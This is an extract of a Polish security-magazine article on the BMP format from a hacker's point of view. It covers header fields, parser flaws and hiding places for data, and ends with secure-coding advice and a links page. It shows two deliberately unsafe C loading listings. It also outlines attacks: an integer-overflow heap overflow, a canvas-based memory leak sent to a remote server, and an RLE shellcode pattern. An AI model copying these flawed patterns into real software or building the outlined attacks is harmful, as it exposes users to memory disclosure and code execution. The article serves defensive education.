czyć iż plik jest oczywiście dwa razy
większy niż byłby normalnie (ponie-
waż zawiera dwa obrazki).

Drugim błędem który programi-

sta może popełnić jest założenie że
polu bfOffBits można zaufać i będzie
ono na pewno mniejsze od wielkości
pliku, a tym bardziej dodatnie (jak pi-
sałem wcześniej jest to DWORD, czy-
li liczbą bez znaku, ale należy pamię-
tać że suma dwóch liczb 32 bitowych

Tabela 1.

Struktura BITMAPFILEHEADER

Typ i nazwa pola

Opis

WORD bfType

Identyfikator BMP, zazwyczaj lite-
ry „BM”

DWORD bfSize

Całkowita wielkość pliku

WORD bfReserved1

Zarezerwowane, zaleca się nadanie
wartości 0

WORD bfReserved2

Zarezerwowane, zaleca się nadanie
wartości 0

DWORD bfOffBits

Pozycja (offset) danych w pliku

Rysunek 1.

Budowa pliku BMP

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

32

jest nadal liczbą 32 bitową, czyli nie
ma tak na prawdę różnicy czy jest to
DWORD czy SDWORD jeśli nastą-
pi integer overflow). Tego typu błąd,
niegroźny – ale jednak, występuje
w Microsoft Paint do wersji 5.1 włącz-
nie (czyli tej dołączonej do Microsoft
Windows XP SP2, wersja 6.0, dołą-
czona do Microsoft Windows Vista,
została poprawiona). Przykładowe
wykorzystanie widać na Rysunku 3.
Zestawiono na nim aplikację Microsoft
Paint oraz IrfanView, które wyświetla-
ją ten sam plik BMP. Jak można do-
myślić się z rysunku IrfanView posta-
nowił zignorować błędnie wypełnione
pole bfOffBits i uznał że dane obrazu
znajdują się bezpośrednio za nagłów-
kami, natomiast mspaint.exe wykonał
operacje WyświetlBitmapę(Początek-
Danych + bfOffBits), co poskutkowa-
ło wyświetleniem fragmentu pamięci
należącej do aplikacji. Należy dodać
że w wypadku gdy PoczątekDanych
+ bfOffBits wskazuje na nieistnieją-
cy fragment pamięci, zostaje rzuco-
ny wyjątek (Naruszenie Ochrony Pod-
czas Odczytu, ang. Read Access Vio-
lation
), w wypadku mspaint.exe jest
on jednak obsługiwany. Należy za-
uważyć iż jeżeli tego typu błąd wystą-
pił by w aplikacji posiadającej w pa-
mięci wrażliwe dane, to sprawny so-
cjotechnik mógł by z powodzeniem
wydobyć od nieświadomego użyt-
kownika zrzut ekranu na którym wi-
dać źle wyświetlaną bitmapę która tak
na prawdę przedstawiała by fragment
pamięci na przykład z hasłem i logi-
nem danego użytkownika.

Warto zauważyć iż odsunięcie

danych od nagłówków stwarza do-
wolną ilość miejsca na ukrycie ewen-
tualnych dodatkowych danych.

Podsumowując strukturę BIT-

MAPFILEHEADER, są tu dwa miej-
sca w których programista może po-
pełnić błąd, a także 64 bity (8 bajtów)
w samym nagłówku, w których moż-
na zapisać (ukryć) dodatkowe dane.

Nagłówek

BITMAPINFOHEADER

Drugim z kolei nagłówkiem plików
BMP w wersji Windows V3 jest BIT-
MAPINFOHEADER, struktura skła-
dająca się z 11 pól o łącznej długości
40 bajtów (28h), rozpoczynająca się
od offsetu 0Eh.

Pierwsze pole – biSize – określa

wielkość niniejszego nagłówka, po
tej wielkości aplikacje rozpoznają czy
nagłówkiem jest faktycznie BITMA-
PINFOHEADER
, i czy plik BMP jest
na pewno wersją Windows V3 forma-
tu BMP. Prawidłową wartością jest
oczywiście 40 (28h). Niektóre apli-
kacje, takie jak IrfanView czy Mozil-
la, przyjmują że plik BMP jest plikiem
w wersji Windows V3 nawet w wypad-
ku gdy biSize posiada jakąś inną, nie-
znaną, wartość – daje to możliwość
ukrycia kolejnych 32 bitów danych, z
tym że nie wszystkie programy będą
potrafiły poradzić sobtie z wyświetle-
niem bitmapy w takim wypadku.

Drugim, trzecim oraz piątym

z kolei polem są kolejno biWidth, bi-
Height
oraz biBitCount. Są to, jak na-
zwa wskazuje, informacje o szeroko-

ści bitmapy (biWidth), jej wysokości
(biHeight) oraz głębi kolorów, czyli
ilości bitów które opisują każdy ko-
lejny piksel (biBitCount). Wartości
z tych pól bardzo często służą do
wyliczenia całkowitej ilości bajtów
potrzebnej do przechowania bitmapy
w pamięci. W tym celu implementuje
się następujące równanie:

PotrzebnaIlośćBajtów =
Szerokość * Wysokość * (Głębia / 8)

W przypadku BMP szerokość, czyli
biWidth, w tym równaniu zaokrągla-
na jest w górę do najbliższego iloczy-
nu liczby 4 (więcej o tym będzie w pa-
ragrafie Dane obrazu –

BI _ RGB

), czy-

li jeśli bitmapa na przykład ma szero-
kość 109 pikseli, to w tym równaniu
zostanie użyta wartość 112. Tak więc
to równanie w przypadku BMP ma
następującą postać:

PotrzebnaIlośćBajtów =
ZaokrąglonaSzerokość *
Wysokość * (Głębia / 8)

Tak wyliczona wartość używana jest
zazwyczaj do alokacji pamięci na po-
trzeby docelowej bitmapy. Jest to jed-
nocześnie miejsce, w którym istnie-
je prawdopodobieństwo błędnej im-
plementacji. Załóżmy na chwilę że
programista założył że PotrzebnaIlo-
śćBajtów
jest wartością typu LONG
lub DWORD (32 bity), a tak się czę-
sto zdarza. Jeżeli wynik równania bę-
dzie większy od FFFFFFFFh, czy-
li maksymalnej liczby którą można
zapisać w 32 bitowej zmiennej typu
całkowitego/naturalnego, to nastą-
pi przepełnienie zmiennej całkowi-
tej (ang. Integer Overflow), co z ko-
lei może doprowadzić do błędu ty-
pu przepełnienia bufora. Weźmy pod
uwagę kod z Listingu 2. Programista
zaokrągla szerokość po czym wyli-
cza potrzebną ilość bajtów, a następ-
nie alokuje pamięć i wczytuje wiersz
po wierszu całą bitmapę do zaaloko-
wanej pamięci. Wszystko wydaje się
być w porządku, ale załóżmy na chwi-
lę że otrzymaliśmy bitmapę o wielko-
ści 65536x65536x8, czyli szerokość
i wysokość mają wartość 10000h.
Po podstawieniu wartości w równa-

Tabela 2.

Struktura BITMAPINFOHEADER

Typ i nazwa pola

Opis

DWORD biSize

Wielkość nagłówka, w tym wypadku 28h

LONG biWidth

Szerokość bitmapy

LONG biHeight

Wysokość bitmapy

WORD biPlanes

Ilość płaszczyzn, przyjęto wartość 1

WORD biBitCount

Ilość bitów na piksel

DWORD biCompression

Rodzaj zastosowanego kodowania/kompresji

DWORD biSizeImage

Wielkość nieskompresowanej bitmapy w pamięci

LONG biXPelsPerMeter

DPI poziome

LONG biYPelsPerMeter

DPI pionowe

DWORD biClrUsed

Użyta ilość kolorów

DWORD biClrImportant

Ilość ważnych kolorów

background image

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

33

niu na potrzebną ilość bajtów otrzy-
mamy 10000h * 10000h * (8/8), czy-
li 100000000h. DWORD pomieścić
może jedynie najmłodsze 32 bity tej
liczby, w związku z czym w zmiennej
size zapisane zostanie 00000000h,
czyli 0. Następnie dojdzie do aloka-
cji pamięci, która zakończy się suk-
cesem (przykładowo system Win-
dows zaalokuje 16 bajtów, mimo ze
malloc dostał 0 w parametrze), a po-
tem zostanie w to miejsce wczytane
65536 wierszy po 65536 pikseli każ-
dy, czyli 4 GB danych, co spowodu-
je przepełnienie bufora oraz wyrzuce-
nie wyjątku (ang. Write Access Viola-
tion
). W przypadku gdy wyjątek zosta-
nie obsłużony prawdopodobnie bę-
dzie również możliwość wykonania
kodu, a w wypadku gdy nie zostanie
obsłużony, aplikacja po prostu zakoń-
czy działanie z odpowiednim komuni-
kacje o błędzie.

Czwartym z kolei polem, pomi-

niętym wcześniej, jest biPlanes, które
mówi o ilości płaszczyzn. Przyjęte jest
że w tym polu powinna być wartość 1.
Niektóre programy ignorują wartość
tego pola, przez co możliwe jest ukry-
cie kolejnych 16 bitów danych.

Kolejnym, szóstym polem jest

biCompression field. To pole przyj-
muje pewne z góry ustalone war-
tości które mówią o sposobie ko-
dowania i kompresji użytej w przy-
padku danego pliku BMP. Dostęp-
ne wartości w BMP Windows V3 to

BI _ RGB (0)

,

BI _ RLE8 (1)

,

BI _ RLE4

(2)

oraz

BI _ BITFIELDS (3)

. Kolejne

wersje formatu BMP zakładają rów-
nież dwie inne wartości:

BI _ JPEG (4)

oraz

BI _ PNG (5)

. Różne rodzaje ko-

dowanie BMP są omówione w kolej-
nych podpunktach.

Następnym polem jest biSizeIma-

ge określające całkowitą wielkość bit-
mapy po ewentualnej dekompresji
(jeżeli bitmapa nie jest kompresowa-
na, to pole może być ustawione na 0).

W przypadku tego pola pułapka wy-
gląda bardzo podobnie jak w przy-
padku pola bfSize z BITMAPFILEHE-
ADER
, zaleca się więc zignorowanie
wartości tego pola. Nieostrożne uży-
cie wartości biSizeImage przy aloka-
cji pamięci, a następnie brak kontro-
li pozycji wskaźnika zapisu przy de-
kompresji może prowadzić do prze-
pełnienia bufora.

Dwa kolejne pola – biXPelsPer-

Meter oraz biYPelsPerMeter – mówią
o poziomej i pionowej ilości pikseli przy-
padających na metr (informacja ana-
logiczna do DPI, ang. Dots Per Inch).
Informacje te są potrzebne głównie
w przypadku drukowania danej bitma-
py. Pojawia się tutaj pewna groźba w
przypadku implementacji drukowania
bitmap – rozdzielczość ta może przy-

jąć bardzo małą wartość (na przykład
1), i wtedy nawet mała bitmapa może
zająć kilkanaście kartek A4, lub bar-
dzo dużą wartość, przez co cała bit-
mapa będzie wielkości milimetr na mi-
limetr. To pole może zostać wykorzy-
stane również do przechowania pew-
nej informacji (64 bity łącznie), szcze-
gólnie jeśli nie zależy nam na popraw-
ności rozdzielczości drukowanej.

Przedostatnim polem jest biClrU-

sed które mówi o ilości kolorów w pa-
lecie barw. Jeżeli to pole jest wyzero-
wane, przyjmuje się że ilość kolorów
w palecie jest równa liczbie 2 pod-
niesionej do potęgi biBitCount (do
8 bitów włącznie), czyli na przykład
w przypadku 8-bitowej bitmapy przyj-
muje się że paleta ma 256 kolorów.
Co ciekawe, programiści mają ten-
dencje ufać temu polu i zakładać że
jeżeli biClrUser wynosi na przykład 1,
to w bitmapie pojawi się jedynie pierw-
szy z kolei kolor, czyli 00. Jeżeli w bit-
mapie pojawi się więcej kolorów pra-
widłowym działaniem powinno być al-
bo wyświetlanie pozostałych kolorów
jako czarny (czyli wyzerowanie pozo-

Tabela 3.

Struktura RGBQUAD

Typ i nazwa pola

Opis

BYTE rgbBlue

Wartość barwy niebieskiej

BYTE rgbGreen

Wartość barwy zielonej

BYTE rgbRed

Wartość barwy czerwonej

BYTE rgbReserved

Zarezerwowane

Listing 1.

Niebezpieczny kod wczytujący bitmapę

void

*

ReadBMPtoMemory

(

const

char

*

name

,

unsigned

int

*

size

)

{

char

*

data

=

NULL

;

BITMAPFILEHEADER

bmfh

;

FILE

*

f

=

NULL

;

size_t

ret

=

0

;

/* Otwórz plik */

f

=

fopen

(

name

, „

rb

);

if

(!

f

)

return

NULL

;

/* Wczytaj naglowek i zaalokuj pamięć */

fread

(&

bmfh

,

1

,

sizeof

(

bmfh

));

*

size

=

bmfh

.

bfSize

;

data

=

malloc

(

bmfh

.

bfSize

);

if

(!

data

)

goto

err

;

memset

(

data

,

0

,

bmfh

.

bfSize

);

/* Wczytaj plik */

fseek

(

f

,

0

,

SEEK_SET

);

do

{

ret

+=

fread

(

data

+

ret

,

1

,

0x1000

,

f

);

}

while

(!

feof

(

f

));

/* Powrót */

fclose

(

f

);

return

data

;

/* Obsluga bledow */

err

:

if

(

f

)

fclose

(

f

);

if

(

data

)

free

(

data

);

return

NULL

;

}

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

34

stałej części palety), albo wykonanie
operacji modulo (

wyświetlony _ kolor

= kolor % biClrUsed

). Tak zachowu-

ją się MSPaint, Internet Explorer, czy
Paint Shop Pro. Bardzo dużo progra-
mów jednak rysuje bitmapę na swój
własny sposób, czego przykład jest
przedstawiony na Rysunku 4. W tym
miejscu należało by się zaintereso-
wać czemu tak się dzieje, oraz skąd
się biorą pozostałe kolory – ponie-
waż w palecie w pliku BMP

zadekla-

rowany został tylko jeden. Odpowiedź
na to drugie pytanie jest dość prosta
– najwyraźniej programy alokują pa-
mięć na pełną paletę kolorów (256 ko-
lorów), po czym wczytują z pliku ca-
łą tam zawartą paletę (1 kolor). Resz-
ta palety, jako że nie była wyzerowa-
na, zawiera w takim przypadku dane
które znajdowały się wcześniej w pa-
mięci, a konkretniej na stogu (ang. he-
ap
). Drugą możliwa odpowiedź jest ta-
ka że program alokuje paletę o wielko-
ści biClrUsed, a kolory powyżej biCl-
rUsed
po prostu korzystają z pamię-
ci po za paletą tak jak by to był dalszy
ciąg palety (tzw. boundary condition
error
). W obu przypadkach kolory któ-
re według pola biClrUsed nie powinny
być używane, są opisane przez dane
znajdujące się w pamięci. Idąc o krok
dalej, można stworzyć BMP o wielko-
ści 256x1 w której dane obrazu bę-
dą kolejnymi kolorami, od 00 do FFh,
dzięki temu wyświetlona bitmapa bę-
dzie praktycznie rzecz biorąc skopio-
waną paletą kolorów, czyli na ekranie
pojawią się, w postaci kolorowych pik-
seli, dane z pamięci. Czy jednak moż-
na w jakiś sposób przesłać automa-
tycznie przesłać tą bitmapę do jakie-
goś zdalnego serwera? Okazuje się
że w przypadku Firefox 2.0.0.11 oraz
Opera 9.50 beta jest to możliwe. Obie

te przeglądarki obsługują wprowadzo-
ny w

HTML 5 tag <canvas>

, który umoż-

liwia rysowanie po płótnie, kopiowanie
bitmap z tagów

<img>

na płótno, oraz

odczyt wartości kolorów z płótna.
Możliwe jest więc stworzenie skryptu
który wyświetli odpowiednio sprepa-
rowany plik BMP a następnie skopiuje
go na canvas, odczyta wartości kolo-
rów i prześle je na zdalny serwer. Wg.
badań przeprowadzonych przez au-
tora dane przesyłane na zdalny ser-
wer mogą zawierać fragmenty innych
stron, fragmenty ulubionych, fragmen-
ty historii oraz inne informacje. W mo-
mencie pisania tego artykułu powyż-
sza, znaleziona przez autora, luka,
klasyfikowana jako Remote Informa-
tion Disclosure
, nie została jeszcze
poprawiona.

Ostatnim polem tego nagłówka

jest biClrImportant – mówiące o ilości
istotnych kolorów w bitmapie. Stanow-
cza większość aplikacji ignoruje jed-
nak to pole, dzięki czemu może ono
zostać użyte do przechowania 32 bi-
tów danych niezwiązanych z bitmapą.

Podsumowując, w nagłówku BIT-

MAPINFOHEADER znajduje się wie-
le pól które nieuważny programista
może potraktować ze zbytnim zaufa-
niem narażając tym samym użytkow-

nika na wyciek informacji a nawet wy-
konanie kodu. Dodatkowo w tym na-
główku można ukryć kolejne bajty
informacji dodatkowych, niezwiąza-
nych z bitmapą.

Paleta barw

Paleta barw jest tablicą struktur
RGBQUAD (patrz Tabela 3) które
opisują wartość barw, kolejno niebie-
skiej, zielonej i czerwonej, danego ko-
loru. Dodatkowo każda struktura do-
pełniona jest jedno bajtowym po-
lem rgbReserved, dzięki czemu cała
struktura ma wielkość 32 bitów (4 baj-
tów). Standard nakazuje aby to ostat-
nie pole było wyzerowane, jednak
w rzeczywistości aplikacje nie spraw-
dzają tego. To pole może zostać uży-
te do ukrycia dodatkowych informacji,
lub do zapisania kanału alfa (w przy-
padku bitmap 32 bitowych). Paleta
barw występuje w przypadku bitmap
1 (1 bitowa bitmapa wcale nie musi
być czarno-biała!), 4 oraz 8 bitowych
(patrz pole biBitCount z BITMAPIN-
FOHEADER
). W przypadku tych bit-
map, jeśli pole biClrUsed nie mówi in-
aczej, paleta zawiera kolejno 2, 16 lub
256 struktur RGBQUAD.

Dane obrazu – BI_RGB

Dane obrazu w przypadku BI_RGB
należy rozważać w dwóch katego-
riach – faktycznych kolorów RGB (bit-
mapa 24 bitowa), oraz numerów kolo-
rów w palecie barw (1 bitowe, 4 bitowe
lub 8 bitowe bitmapy). Niemniej jednak
kilka rzeczy jest wspólne. Pierwszą z
nich jest zapis bitmapy do góry noga-
mi
, czyli pierwsze w pliku znajdują się
wiersze które trafią na dół bitmapy, a
kolejne zawierają informacje o wier-
szach znajdujących się coraz wyżej w

Listing 2.

Niebezpieczny kod alokujący pamięć i wczytujący dane

/* Wylicz szerokosc i wielkosc */

DWORD

padded_width

=

(

bmih

.

biWidth

+

3

)

&

(

~

3

);

DWORD

size

=

padded_width

*

bmih

.

biHeight

*

(

bmih

.

biBitCount

/

8

);

/* Alokacja pamieci */

char

*

data

=

malloc

(

size

)

,

*

p

;

if

(!

data

)

goto

err

;

/* Wczytaj dane */

fseek

(

f

,

bmfh

.

biOffBits

,

SEEK_SET

);

for

(

p

=

data

,

y

=

0

;

y

<

bmih

.

biHeight

;

y

++

,

p

+=

padded_width

)

fread

(

p

,

1

,

padded_width

,

f

);

Rysunek 2.

Wykorzystanie ignorowania pola bfOffBits

background image

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

35

faktycznym obrazie. Drugą rzeczą jest
wspomniane wcześniej dopełnianie
ilości danych (bajtów) w wierszy do ilo-
czynu liczby 4. W przypadku kiedy ilo-
czyn szerokości i ilości bajtów przypa-
dających na piksel nie jest podzielny
przez 4, na koniec danych wiersza do-
pisywana jest odpowiednia ilość (od 1
do 3) bajtów zerowych, tak aby całko-
wita ilość danych opisujących wiersz
była iloczynem liczby 4. Jak się łatwo
domyślić żadna aplikacja nie spraw-
dza czy w dopełnieniu zostały użyte
zera, można więc wykorzystać dopeł-
nienie do ukrycia własnych danych.
Korzystając z tego sposobu można
ukryć, w zależności od szerokości
wiersza, od 1 do 3 bajty na wiersz ra-
zy wysokość bitmapy.

W przypadku 24-bitowej bitmapy

i

BI _ RGB

kolejne bajty zawierają, po-

dobnie jak w palecie barw, wartość
barwy niebieskiej, zielonej oraz czer-
wonej każdego piksela (po 3 bajty na
piksel). Przykładowo, 00 00 00 zosta-
nie wyświetlone na ekranie na kolor
czarny, a 00 FF 00 na kolor zielony.
Popularną metodą steganograficzną
jest użycie najmniej znaczącego bi-
tu każdej barwy w każdym pikselu do
przechowania ukrytych informacji.

W przypadku 8-bitowej bitmapy

kolejne bajty zawierają numery kolo-
rów z palety kolorów, a podczas prze-
noszenia bitmapy na 24-bitowy ekran
każdy piksel jest zamieniany z nu-
meru koloru na wartości poszcze-
gólnych barw pobrane z palety kolo-

rów. W przypadku 8-bitowej bitmapy
w wypadku gdy nie wszystkie kolory
są używane (lub w wypadku bitmap
1-bitowych i 4-bitowych skonwerto-
wanych do 8-bitowej bitmapy) moż-
na ukryć dodatkowe informacje bez
zmiany wyglądu bitmapy poprzez po-
wielenie części palety kolorów i sto-
sowanie zamiennie kolorów z czę-
ści oryginalnej (0) lub powielonej (1).
W przypadku 4-bitowych bitmap (czy-
li 16-kolorowych) skonwertowanych
do 8-bitowych paletę kolorów można
powielić 16 razy (256/16 = 16), dzię-
ki czemu na dobrą sprawę najbardziej
znaczące 4 bity każdego bajtu mogą
zawierać dowolne ukryte dane.

Dane obrazu – BI_RLE8

Ostatnią poruszaną w tym artykule
kwestią dotyczącą BMP jest kodo-
wanie RLE 8-bitowych bitmap. RLE
(ang. Run Length Encoding) jest bar-
dzo prostą metodą kompresji polega-
jącą na zapisie danych w postaci pary
ilość wystąpień oraz znak. Przykłado-
wo ciąg AAAABBB za pomocą RLE
został by skompresowany do 4A3B.
W przypadku BMP za równo ilość
wystąpień
oraz znak mają wielkości
jednego bajtu (czyli razem 16 bitów).
Oprócz tego BMP RLE posiada rów-
nież specjalne znaczniki zaczynające
się od bajtu zerowego (czyli ilość wy-
stąpień wynosi zero), są to:

00 00 – Przejście na początek

następnego wiersza bitmapy (czy-
li kolejne dane opisują nowy wiersz,
przyjmuje się że do końca obec-
nego wiersza dane mają kolor 0).

Większość aplikacji oczekuje że każ-
dy wiersz będzie zakończony 00 00,
ale istnieją również takie (IrfanView)
u których jest to niekonieczne.

00 01 – Zakończenie bitmapy. Je-

żeli pozostały jakieś niezapisane pik-
sele, nadaje się im kolor 0. 00 02 XX
YY
– Ten znacznik składa się z czte-
rech bajtów. Dwa dodatkowe bajty
zawierają liczbę kolumn oraz wier-
szy o jaką wskaźnik zapisu należy
przesunąć (czyli mówi o tym ile pik-
seli i wierszy dalej znajdują się na-
stępne dane). Wszystkie pominię-
te piksele przyjmuje się że mają ko-
lor 0. 00 NN ... (gdzie NN >= 3) – Jest
to znacznik przełączający dekompre-
sje w tzw. tryb bezwzględny. Zaraz po
nim następują bajty które nie są zako-
dowane RLE, a po prostu przepisane
z kompresowanej bitmapy – o ilości
tych bajtów mówi drugi bajt znaczni-
ka (oznaczony jako NN). Bajty nastę-
pujące po znaczniku powinny zostać
po prostu przepisane na rozpakowa-
ną bitmapę. W przypadku gdy liczba
NN jest nieparzysta, należy następu-
jące bajty dopełnić jednym bajtem ze-
rowym, w celu uzyskania parzystej
liczby bajtów. Oczywiście żadna apli-
kacja nie sprawdza czy jest to bajt ze-
rowy, można więc zapełnić do ukryty-
mi informacjami.

Tak skonstruowana kompre-

sja RLE stawia wiele pułapek przed
programistą, i jednocześnie stwa-
rza wiele miejsc na ukrycie danych.
Przykładowo osoba chcąca ukryć da-
ne może posłużyć się różnymi sposo-
bami skompresowania tej samej bit-

Rysunek 3.

Ta sama bitmapa różnie

rysowana w różnych programach

Rysunek 4.

Brak kontroli wartości pola bfOffBits w mspaint.exe

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

36

mapy używając różnych znaczników.
Przykładowo bitmapa składająca się
z kolorów AABBBCC może zostać
zapisana jako 02 A 03 B 02 C, lub ja-
ko 01 A 01 A 02 B 01 B 01 C 01 C, lub
nawet – korzystając ze specjalnych
znaczników – jako 00 03 A A B 00 00
02 00 00 01 B 02 C
. Pomijając spra-
wy skuteczności kompresji, liczba
możliwości w jaki sposób można za-
pisać taką bitmapę jest nieskończo-
na (choćby dlatego że znacznik 00 02
00 00
można wstawiać bezkarnie do-
wolną ilość razy) – można więc stwo-
rzyć pewnego rodzaju kod dzięki któ-
remu można by przechowywać infor-
macje w bitmapie, bez zmiany jej fak-
tycznego wyglądu.

Jeżeli zaś chodzi o pułapki, to

pierwszą rzucającą się w oczy jest
przepełnienie bufora w przypad-
ku gdy programista nie sprawdzi czy
dekompresja pojedynczej pary RLE
nie przepełni bufora. Łatwo wyobra-
zić sobie przypadek w którym bitma-
pa o wielkości 1x1 zawiera w danych
obrazu znacznik FF 00 (czyli 255 ra-
zy bajt 0). W przypadku braku kontro-
li czy wskaźnik dekompresji nie wyj-
dzie po za bufor, takie coś może spo-
wodować w najlepszym wypadku wy-
jątek, a w najgorszym wykonanie ko-
du. Analogiczna pułapka występu-
je w przypadku znacznika włączają-
cego tryb bezwzględny. Zapis

00 FF

<shellcode> 00

w danych bitmapy mo-

że doprowadzić do faktycznego wy-
konania kodu (prawdopodobnie bę-
dzie to trudne, ale jednak możliwe).

Powyższe pułapki są jednak bar-

dzo oczywiste, i mało który programi-
sta w nie wpada. Troszeczkę mniej
oczywistą pułapką jest znacznik 00
02 XX YY służący do przesuwania
do przodu znacznika zapisu dekom-
presowanych danych. Ivan Fratric 6
kwietnia roku 2007 opublikował in-
formacje na temat wykorzystania ta-
gu 00 02 XX YY do wykonania ko-
du w ACDSee oraz IrfanView. Pro-
blem polegał na tym iż programiści
w obu przypadkach nie sprawdza-
li czy wskaźnik zapisu po wykonaniu
znacznika 00 02 XX YY nie opuścił
bufora bitmapy. Możliwe zatem sta-
ło się nakierowanie wskaźnika zapi-
su na dowolny fragment pamięci, i na-

stępnie nadpisanie go dowolnymi da-
nymi. W przypadku IrfanView, który
w tej wersji spakowany był ASPac-
kiem
, sytuację dodatkowo pogarszał
fakt iż sekcja .text (w której znajdu-
je się kod programu, patrz pliki PE)
miała prawa do zapisu, czyli atakują-
cy mógł przesunąć wskaźnik zapisu
za pomocą serii 00 02 FF FF na sek-
cje .text, a następnie nadpisać znaj-
dujący się tam kod własnym kodem
– na przykład uruchamiającym back-
doora. Nowsze wersje IrfanView (od
4.00 włącznie) nie są jednak już po-
datne na ten błąd.

Pewien mniej groźny błąd, ale

mogący utrudnić życie użytkowniko-
wi, znalazł autor (współpracując z ha-
kerem o pseudonimie Simey) w prze-
glądarce Opera (9.24 oraz 9.50 be-
ta). Programiści Opery popełnili błąd
podczas implementowania tagu 00
02 XX YY
który powodował iż ob-
sługa tego znacznika była niewiary-
godnie wolna. Dzięki temu stało się
możliwe stworzenie bitmapy której
przetwarzanie w Operze trwa 4 mi-
nuty na bardzo szybkim komputerze,
a 20 minut na średnim – w tym czasie
Opera nie reaguje na żadne bodźce
zewnętrzne. Atakujący mógłby stwo-
rzyć stronę WWW zawierającą setki
takich bitmap, przez co przeglądarka
nieświadomego użytkownika mogła
by odmówić posłuszeństwa na dłu-
gie godziny.

Podsumowując, kodowanie RLE

stwarza wiele możliwości ataku oraz
ukrycia informacji. Należy zachować
szczególną ostrożność implementu-
jąc obsługę RLE w formacie BMP.

Bezpieczna

implementacja

Programista powinien pamiętać, iż
zgodność ze standardem zapewnia
bezpieczną obsługę jedynie popraw-
nych bitmap faktycznie zgodnych ze
standardem – pliki BMP zgodne je-

dynie w części ze standardem mogą
przysporzyć sporo problemów. Wda-
jąc się w szczegóły techniczne, pro-
gramista powinien zwracać uwagę
szczególnie na sprawdzenia granic
używanych buforów i tablic – bufo-
ru obrazu, buforu skompresowanych
danych, czy palety kolorów. Granice,
co nie dla wszystkich jest oczywi-
ste, powinny być sprawdzane z obu
stron, aby zapobiec zarówno błędom
typu buffer overflow, jak i błędom ty-
pu buffer underflow. Programista po-
winien również używać odpowied-
niego rozmiaru zmiennych, lub sto-
sownego ograniczania wartości, aby
zapobiec sytuacjom z przepełnie-
niem zmiennej całkowitej (ang. inte-
ger overflow
) – warto w tym wypad-
ku zwrócić uwagę szczególnie na
równanie obliczające wielkość bit-
mapy. Czytając standard należy my-
śleć nie tylko o tym, jak go zaimple-
mentować, ale również jak zabezpie-
czyć przed nieprawidłowym użyciem
każdej pojedynczej cechy formatu,
co może się stać, gdyby któreś po-
le nagłówka przyjęło nieprawidłową
(z logicznego punktu widzenia) war-
tość, oraz jakie mogą być tego kon-
sekwencje. Należy pamiętać, iż pro-
gramista musi zabezpieczyć wszyst-
ko, ponieważ atakujący musi znaleźć
tylko jeden błąd.

Podsumowanie

Format BMP, mimo swojej pozor-
nej prostoty (w porównaniu do np.
PNG czy JPEG) jest najeżony pu-
łapkami, miejscami gdzie można po-
pełnić choćby drobny błąd, oraz za-
wiera wiele miejsc w których można
ukryć dodatkowe dane, bez wpływa-
nia na wyświetlaną bitmapę.

Jako zadanie domowe pozosta-

wiam czytelnikowi analizę zapisu da-
nych obrazu metodą BI_BITFIELD,
oraz analizę pozostałych wersji for-
matu BMP. l

O autorze

Michał Składnikiewicz, inżynier informatyki, ma wieloletnie doświadczenie jako pro-
gramista oraz reverse engineer. Obecnie jest koordynatorem działu analiz w między-
narodowej firmie specjalizującej się w bezpieczeństwie komputerowym.
Kontakt z autorem: gynvael@coldwind.pl

background image

Strony rekomendowane

Misją serwisu jest zaprezentowanie języ-

ków programowania oraz ułatwienie użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona firmy świadczącej profesjonalne

usługii IT, specjalizującej się w wypożycza-

niu serwerów i macierzy. Firma prowadzi

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal poświęcony technikom programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych,

nie należy ich wykorzystywać w niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal internetowy poświęcony w całości

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom

i rozrywce oraz najnowszym aplikacjom.

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką bezpieczeństwa, audytem, IT Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna poświęcona w całości tematy-

ce hakingu. Początkujący w tej dziedzinie

znajdą na niej działy, ktore im umożliwią

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją serwisu jest dostarczenie dużej ilo-

ści informacji z zakresu informatyki. Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek

jak i kursy tworzenia portali www.

http://www.swww.pl/

Serwis poświęcony branży IT oferujący

codzienne newsy, artykuły, recenzje ma-

gazynów, testy oraz forum dyskusyjne.

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera.

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej się w nowoczesnych rozwią-

zaniach informatycznych, zaczynając od

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

www.hakin9.org

hakin9 Nr 3/2008

38

Atak

B

anki obracają naszymi pieniędzmi.
Starają się przy tym zachować mak-
simum bezpieczeństwa. W końcu,

kto chciałby ulokować swoje ciężko zarobio-
ne oszczędności w banku, który nie zapew-
ni im należytej ochrony? Obecnie większość
kont standardowo oferuje dostęp przez Inter-
net. I tu zaczynają się poważne schody dla
banków. Przeciętny użytkownik bankowości
elektronicznej ma niewielkie pojęcie o bez-
pieczeństwie. Korzysta ze źle skonfiguro-
wanego komputera, zgadza się na instalację
obiektów ActiveX pochodzących z niezna-
nych źródeł itd. Działają u niego programy
odczytujące hasła wprowadzane z klawiatu-
ry (ang. keylogger). Pokazywaliśmy już w ha-
kin9 1/2008, w jaki sposób można samemu
napisać taki program w języku C#. Aby temu
przeciwdziałać, niektóre instytucje wprowa-
dziły tzw. wirtualne klawiatury. Podczas logo-
